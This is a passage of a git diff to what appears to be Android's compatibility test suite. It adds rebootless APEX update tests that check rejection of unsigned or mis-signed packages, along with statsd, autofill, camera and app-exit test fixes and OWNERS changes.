+    public void testRebootlessUpdate_unsignedPayload_fails() throws Exception {
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "AVB footer verification failed",
+                Install.single(Apex2UnsignedPayload));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRebootlessUpdate_payloadSignedWithDifferentKey_fails() throws Exception {
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "public key doesn't match the pre-installed one",
+                Install.single(Apex2SignPayloadWithDifferentKey));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRebootlessUpdate_outerContainerSignedWithDifferentCert_fails()
+            throws Exception {
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "APK container signature of .+ is not compatible with currently installed",
+                Install.single(Apex2DifferentCertificate));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRebootlessUpdate_outerContainerUnsigned_fails() throws Exception {
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "Failed collecting certificates for",
+                Install.single(Apex2NoApkSignature));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRebootlessUpdate_targetsOlderSdk_fails() throws Exception {
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "Requires development platform P",
+                Install.single(Apex2SdkTargetP));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
     // It becomes harder to maintain this variety of install-related helper methods.
     // TODO(ioffe): refactor install-related helper methods into a separate utility.
     private static int createStagedSession() throws Exception {
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
index dba49e9..ef03c1f 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
@@ -210,6 +210,31 @@
         runPhase("testInstallRejected_VerifyPostReboot");
     }
 
+    @Test
+    public void testRejectsApexWithAdditionalFile_rebootless() throws Exception {
+        runPhase("testRejectsApexWithAdditionalFile_rebootless");
+    }
+
+    @Test
+    public void testRejectsApexWithAdditionalFolder_rebootless() throws Exception {
+        runPhase("testRejectsApexWithAdditionalFolder_rebootless");
+    }
+
+    @Test
+    public void testRejectsApexWithPostInstallHook_rebootless() throws Exception {
+        runPhase("testRejectsApexWithPostInstallHook_rebootless");
+    }
+
+    @Test
+    public void testRejectsApexWithPreInstallHook_rebootless() throws Exception {
+        runPhase("testRejectsApexWithPreInstallHook_rebootless");
+    }
+
+    @Test
+    public void testRejectsApexWrongSHA_rebootless() throws Exception {
+        runPhase("testRejectsApexWrongSHA_rebootless");
+    }
+
     /**
      * Extracts {@link #DEAPEXER_ZIP_FILE_NAME} into the destination folder. Updates executable
      * attribute for the binaries of deapexer and debugfs_static.
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 5467fb8..73e832e 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -757,7 +757,6 @@
     }
 
     @Test
-    @LargeTest
     public void testApexInfoListAfterUpdate() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
@@ -807,6 +806,106 @@
                 .isNotEqualTo(shimBeforeUpdate.getLastUpdateMillis());
     }
 
+    @Test
+    @LargeTest
+    public void testRebootlessUpdate() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate");
+        ApexInfo activeShimApexInfo = getActiveShimApexInfo();
+        assertThat(activeShimApexInfo.getModuleName()).isEqualTo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(activeShimApexInfo.getIsActive()).isTrue();
+        assertThat(activeShimApexInfo.getIsFactory()).isFalse();
+        assertThat(activeShimApexInfo.getVersionCode()).isEqualTo(2);
+    }
+
+    @Test
+    public void testRebootlessUpdate_fromV2ToV3_sameBoot() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate");
+        runPhase("testRebootlessUpdate_installV3");
+        ApexInfo activeShimApexInfo = getActiveShimApexInfo();
+        assertThat(activeShimApexInfo.getModuleName()).isEqualTo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(activeShimApexInfo.getIsActive()).isTrue();
+        assertThat(activeShimApexInfo.getIsFactory()).isFalse();
+        assertThat(activeShimApexInfo.getVersionCode()).isEqualTo(3);
+    }
+
+    @Test
+    @LargeTest
+    public void testRebootlessUpdate_fromV2ToV3_rebootInBetween() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate");
+        getDevice().reboot();
+        runPhase("testRebootlessUpdate_installV3");
+        ApexInfo activeShimApexInfo = getActiveShimApexInfo();
+        assertThat(activeShimApexInfo.getModuleName()).isEqualTo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(activeShimApexInfo.getIsActive()).isTrue();
+        assertThat(activeShimApexInfo.getIsFactory()).isFalse();
+        assertThat(activeShimApexInfo.getVersionCode()).isEqualTo(3);
+    }
+
+    @Test
+    @LargeTest
+    public void testRebootlessUpdate_downgrage_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_installV3");
+        runPhase("testRebootlessUpdate_downgradeToV2_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_noPermission_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_noPermission_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_noPreInstalledApex_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_noPreInstalledApex_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_unsignedPayload_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_unsignedPayload_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_payloadSignedWithDifferentKey_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_payloadSignedWithDifferentKey_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_outerContainerSignedWithDifferentCert_fails()
+            throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_outerContainerSignedWithDifferentCert_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_outerContainerUnsigned_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_outerContainerUnsigned_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_targetsOlderSdk_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_targetsOlderSdk_fails");
+    }
+
     private List<ApexInfo> readApexInfoList() throws Exception {
         File file = getDevice().pullFile("/apex/apex-info-list.xml");
         try (FileInputStream stream = new FileInputStream(file)) {
@@ -823,6 +922,17 @@
         return temp.get(0);
     }
 
+    private ApexInfo getActiveShimApexInfo() throws Exception {
+        return readApexInfoList().stream()
+                    .filter(a -> a.getModuleName().equals(SHIM_APEX_PACKAGE_NAME))
+                    .filter(ApexInfo::getIsActive)
+                    .findAny()
+                    .orElseThrow(() ->
+                            new AssertionError(
+                                    "No active version of " + SHIM_APEX_PACKAGE_NAME
+                                            + " found in /apex/apex-info-list.xml"));
+    }
+
     /**
      * Store the component name of the default launcher. This value will be used to reset the
      * default launcher to its correct component upon test completion.
diff --git a/hostsidetests/statsdatom/OWNERS b/hostsidetests/statsdatom/OWNERS
index a2de7c2..47cdda9 100644
--- a/hostsidetests/statsdatom/OWNERS
+++ b/hostsidetests/statsdatom/OWNERS
@@ -2,7 +2,9 @@
 jeffreyhuang@google.com
 jtnguyen@google.com
 muhammadq@google.com
+ruchirr@google.com
 singhtejinder@google.com
 tsaichristine@google.com
+yro@google.com
 
 per-file apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java = file:platform/frameworks/base:/core/java/android/permission/OWNERS
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
index 0ccc450..e550db6 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
@@ -52,7 +52,8 @@
         final int APP_OP_RECORD_AUDIO = 27;
         final int APP_OP_RECORD_AUDIO_HOTWORD = 102;
 
-        TRANSFORMED_FROM_OP.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD);
+        // Temporarily commented out until the Trusted Hotword requirement is enforced again.
+//        TRANSFORMED_FROM_OP.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD);
     }
 
     private IBuildInfo mCtsBuild;
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
new file mode 100644
index 0000000..1236598
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
@@ -0,0 +1,2 @@
+# Owners of the IntegrityCheckResultReported atom
+songpan@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
index cac353e..10eec55 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
@@ -43,6 +43,7 @@
 
 import java.io.FileNotFoundException;
 import java.util.Map;
+import java.util.StringTokenizer;
 import javax.annotation.Nonnull;
 import javax.annotation.Nullable;
 
@@ -243,7 +244,15 @@
      */
     public static boolean hasFeature(ITestDevice device, String feature) throws Exception {
         final String features = device.executeShellCommand("pm list features");
-        return features.contains(feature);
+        StringTokenizer featureToken = new StringTokenizer(features, "\n");
+
+        while(featureToken.hasMoreTokens()) {
+            if (("feature:" + feature).equals(featureToken.nextToken())) {
+                return true;
+            }
+        }
+
+        return false;
     }
 
     /**
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
index 9188894..1d9cdc2 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
@@ -19,7 +19,10 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import com.android.os.StatsLog;
+
 import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog;
 import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.os.StatsLog.EventMetricData;
@@ -28,12 +31,15 @@
 import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.util.Pair;
 
 import com.google.protobuf.InvalidProtocolBufferException;
 
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.Comparator;
 import java.util.List;
+import java.util.stream.Collectors;
 
 public final class ReportUtils {
     private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
@@ -51,7 +57,7 @@
 
     /**
      * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
-     * contain a single report).
+     * contain a single report) and sorts the atoms by timestamp within the report.
      */
     public static List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
             throws Exception {
@@ -60,7 +66,14 @@
 
         List<EventMetricData> data = new ArrayList<>();
         for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getEventMetrics().getDataList());
+            for (EventMetricData metricData :
+                    metric.getEventMetrics().getDataList()) {
+                if (metricData.hasAtom()) {
+                    data.add(metricData);
+                } else {
+                    data.addAll(backfillAggregatedAtomsInEventMetric(metricData));
+                }
+            }
         }
         data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
 
@@ -71,6 +84,23 @@
         return data;
     }
 
+
+    private static List<EventMetricData> backfillAggregatedAtomsInEventMetric(
+            EventMetricData metricData) {
+        if (!metricData.hasAggregatedAtomInfo()) {
+            return Collections.emptyList();
+        }
+        List<EventMetricData> data = new ArrayList<>();
+        StatsLog.AggregatedAtomInfo atomInfo = metricData.getAggregatedAtomInfo();
+        for (long timestamp : atomInfo.getElapsedTimestampNanosList()) {
+            data.add(EventMetricData.newBuilder()
+                    .setAtom(atomInfo.getAtom())
+                    .setElapsedTimestampNanos(timestamp)
+                    .build());
+        }
+        return data;
+    }
+
     public static List<Atom> getGaugeMetricAtoms(ITestDevice device) throws Exception {
         return getGaugeMetricAtoms(device, /*checkTimestampTruncated=*/false);
     }
@@ -93,9 +123,13 @@
         for (GaugeMetricData d : report.getMetrics(0).getGaugeMetrics().getDataList()) {
             assertThat(d.getBucketInfoCount()).isEqualTo(1);
             GaugeBucketInfo bucketInfo = d.getBucketInfo(0);
-            atoms.addAll(bucketInfo.getAtomList());
+            if (bucketInfo.getAtomCount() != 0) {
+                atoms.addAll(bucketInfo.getAtomList());
+            } else {
+                backFillGaugeBucketAtoms(bucketInfo.getAggregatedAtomInfoList());
+            }
             if (checkTimestampTruncated) {
-                for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
+                for (long timestampNs : bucketInfo.getElapsedTimestampNanosList()) {
                     assertTimestampIsTruncated(timestampNs);
                 }
             }
@@ -108,6 +142,18 @@
         return atoms;
     }
 
+    private static List<Atom> backFillGaugeBucketAtoms(
+            List<StatsLog.AggregatedAtomInfo> atomInfoList) {
+        List<Pair<Atom, Long>> atomTimestamp = new ArrayList<>();
+        for (StatsLog.AggregatedAtomInfo atomInfo : atomInfoList) {
+            for (long timestampNs : atomInfo.getElapsedTimestampNanosList()) {
+                atomTimestamp.add(Pair.create(atomInfo.getAtom(), timestampNs));
+            }
+        }
+        atomTimestamp.sort(Comparator.comparing(o -> o.second));
+        return atomTimestamp.stream().map(p -> p.first).collect(Collectors.toList());
+    }
+
     /**
      * Delete all pre-existing reports corresponding to the CTS config.
      */
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
index 72dfdc5..f78f90b 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
@@ -5,6 +5,8 @@
 junyulai@google.com
 lorenzo@google.com
 muhammadq@google.com
+ruchirr@google.com
 singhtejinder@google.com
 sudheersai@google.com
 tsaichristine@google.com
+yro@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
index ad92513..d907249 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
@@ -229,14 +229,19 @@
 
         // Trigger events in same order.
         DeviceUtils.plugInAc(getDevice());
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         DeviceUtils.unplugDevice(getDevice());
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         plugInUsb();
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         DeviceUtils.unplugDevice(getDevice());
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         plugInWireless();
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         DeviceUtils.unplugDevice(getDevice());
         DeviceUtils.flushBatteryStatsHandlers(getDevice());
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/OWNERS
index 093746c..a716430 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/OWNERS
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/OWNERS
@@ -2,5 +2,7 @@
 jeffreyhuang@google.com
 jtnguyen@google.com
 muhammadq@google.com
+ruchirr@google.com
 singhtejinder@google.com
 tsaichristine@google.com
+yro@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
index 40735c3..11353ce 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
@@ -231,7 +231,7 @@
         Thread.sleep(WAIT_TIME_FOR_SCREEN_MS);
 
         executeForegroundActivity(getDevice(), ACTION_SLEEP_WHILE_TOP);
-        // ASAP, turn off the screen to make proc state -> top_sleeping.
+        Thread.sleep(WAIT_TIME_FOR_SCREEN_MS);
         DeviceUtils.turnScreenOff(getDevice());
         final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS;
         Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 67478a7..c363d84 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -220,7 +220,8 @@
                 atomTag,  /*uidInAttributionChain=*/false);
 
         DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
-                "StatsdCtsForegroundActivity", "action", "action.native_crash");
+                "StatsdCtsForegroundActivity", "action", "action.native_crash",
+                /* waitTimeMs= */ 5000L);
 
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
diff --git a/hostsidetests/theme/assets/31/450dpi.zip b/hostsidetests/theme/assets/31/450dpi.zip
new file mode 100644
index 0000000..5ce9a1e
--- /dev/null
+++ b/hostsidetests/theme/assets/31/450dpi.zip
Binary files differ
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
index 4909ce2..c2dfa24 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
@@ -122,7 +122,7 @@
                                 + " " + JOB_ID));
 
         // In automotive device, always-on screen and endless battery charging are assumed.
-        if (!isAutomotiveDevice()) {
+        if (BatteryUtils.hasBattery() && !isAutomotiveDevice()) {
             BatteryUtils.runDumpsysBatterySetLevel(100);
             BatteryUtils.runDumpsysBatteryUnplug();
             verifyStopReason(new JobInfo.Builder(JOB_ID, kJobServiceComponent)
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index db74563..27378c3 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -55,6 +55,7 @@
 import android.util.Pair;
 
 import com.android.compatibility.common.util.AmMonitor;
+import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.internal.util.ArrayUtils;
@@ -103,6 +104,8 @@
     private static final int EXIT_CODE = 123;
     private static final int CRASH_SIGNAL = OsConstants.SIGSEGV;
 
+    private static final int TOMBSTONE_FETCH_TIMEOUT_MS = 10_000;
+
     private static final int WAITFOR_MSEC = 10000;
     private static final int WAITFOR_SETTLE_DOWN = 2000;
 
@@ -840,17 +843,11 @@
         verify(list.get(0), mStubPackagePid, mStubPackageUid, STUB_PACKAGE_NAME,
                 ApplicationExitInfo.REASON_CRASH_NATIVE, null, null, now, now2);
 
-        InputStream trace = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                list.get(0),
-                (i) -> {
-                    try {
-                        return i.getTraceInputStream();
-                    } catch (IOException ex) {
-                        return null;
-                    }
-                },
-                android.Manifest.permission.DUMP);
+        TombstoneFetcher tombstoneFetcher = new TombstoneFetcher(list.get(0));
+        PollingCheck.check("not able to get tombstone", TOMBSTONE_FETCH_TIMEOUT_MS,
+                () -> tombstoneFetcher.fetchTrace());
 
+        InputStream trace = tombstoneFetcher.getTrace();
         assertNotNull(trace);
         Tombstone tombstone = Tombstone.parseFrom(trace);
         assertEquals(tombstone.getPid(), mStubPackagePid);
@@ -1242,4 +1239,31 @@
         assertTrue(ArrayUtils.equals(info.getProcessStateSummary(), cookie,
                 cookie == null ? 0 : cookie.length));
     }
+
+    private static class TombstoneFetcher {
+        private InputStream mTrace = null;
+        private final ApplicationExitInfo mExitInfo;
+
+        TombstoneFetcher(ApplicationExitInfo exitInfo) {
+            mExitInfo = exitInfo;
+        }
+
+        public InputStream getTrace() {
+            return mTrace;
+        }
+
+        public boolean fetchTrace() throws Exception {
+            mTrace = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mExitInfo,
+                    (i) -> {
+                        try {
+                            return i.getTraceInputStream();
+                        } catch (IOException ex) {
+                            return null;
+                        }
+                    },
+                    android.Manifest.permission.DUMP);
+            return (mTrace != null);
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 0bb5aa2..2120687 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -24,6 +24,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.DownloadManager;
 import android.app.DownloadManager.Query;
@@ -697,6 +698,8 @@
 
     @Test
     public void testDownload_onMediaStoreDownloadsDeleted() throws Exception {
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+
         // prepare file
         File file = new File(Environment.getExternalStoragePublicDirectory(
                 Environment.DIRECTORY_DOWNLOADS), "cts" + System.nanoTime() + ".mp3");
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 67ac550..d53a952 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -119,6 +119,7 @@
 import android.os.RemoteException;
 import android.os.SystemClock;
 import android.os.UserHandle;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.ContactsContract;
 import android.provider.ContactsContract.CommonDataKinds.Email;
 import android.provider.ContactsContract.CommonDataKinds.Phone;
@@ -4255,6 +4256,7 @@
      * This method verifies that an app can't bypass background restrictions by retrieving their own
      * notification and triggering it.
      */
+    @AsbSecurityTest(cveBugId = 185388103)
     public void testActivityStartFromRetrievedNotification_isBlocked() throws Exception {
         deactivateGracePeriod();
         EventCallback callback = new EventCallback();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
index 1ba0b07..2866cbc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
@@ -105,12 +105,16 @@
         mClearFieldsOnSubmit = flag;
     }
 
-    public FillExpectation expectAutoFill(String input) {
+    public FillExpectation expectInputTextChange(String input) {
         final FillExpectation expectation = new FillExpectation(input, null);
         mInput.addTextChangedListener(expectation.mInputWatcher);
         return expectation;
     }
 
+    public FillExpectation expectAutoFill(String input) {
+        return expectInputTextChange(input);
+    }
+
     public FillExpectation expectAutoFill(String input, String password) {
         final FillExpectation expectation = new FillExpectation(input, password);
         mInput.addTextChangedListener(expectation.mInputWatcher);
@@ -133,6 +137,10 @@
                     : new OneTimeTextWatcher("password", mPassword, password);
         }
 
+        public void assertTextChange() throws Exception {
+            assertAutoFilled();
+        }
+
         public void assertAutoFilled() throws Exception {
             mInputWatcher.assertAutoFilled();
             if (mPasswordWatcher != null) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
index da84344..d07f95b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
@@ -92,8 +92,10 @@
         mUiBot.assertNoDatasetsEver();
 
         // Change input
+        final SimpleSaveActivity.FillExpectation changeExpectation =
+                mActivity.expectInputTextChange("ID");
         mActivity.syncRunOnUiThread(() -> mActivity.getInput().setText("ID"));
-        mUiBot.waitForIdle();
+        changeExpectation.assertTextChange();
 
         // Trigger save UI.
         mUiBot.selectByRelativeId(ID_COMMIT);
@@ -136,15 +138,19 @@
         mUiBot.assertDatasets("YO");
 
         // Select suggestion
+        final SimpleSaveActivity.FillExpectation fillExpectation =
+                mActivity.expectAutoFill("id", "pass");
         mUiBot.selectDataset("YO");
         mUiBot.waitForIdle();
 
         // Check the results.
-        mActivity.expectAutoFill("id", "pass");
+        fillExpectation.assertAutoFilled();
 
         // Change input
+        final SimpleSaveActivity.FillExpectation changeExpectation =
+                mActivity.expectInputTextChange("ID");
         mActivity.syncRunOnUiThread(() -> mActivity.getInput().setText("ID"));
-        mUiBot.waitForIdle();
+        changeExpectation.assertTextChange();
 
         // Trigger save UI.
         mUiBot.selectByRelativeId(ID_COMMIT);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
index 0794739..c2dfb13 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -906,6 +906,11 @@
             Log.v(TAG, "isRotationSupported(): is PC");
             return false;
         }
+        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
+                || !packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)) {
+            Log.v(TAG, "isRotationSupported(): no screen orientation feature");
+            return false;
+        }
         return true;
     }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
index d181f9e..e50a0c8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
@@ -130,7 +130,7 @@
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata staticMeta =
                     new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
-            if (!staticMeta.isColorCorrectionSupported()) {
+            if (!staticMeta.isColorOutputSupported()) {
                 continue;
             }
             updatePreviewSurfaceTexture();
@@ -180,7 +180,7 @@
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata staticMeta =
                     new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
-            if (!staticMeta.isColorCorrectionSupported()) {
+            if (!staticMeta.isColorOutputSupported()) {
                 continue;
             }
             updatePreviewSurfaceTexture();
@@ -247,7 +247,7 @@
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata staticMeta =
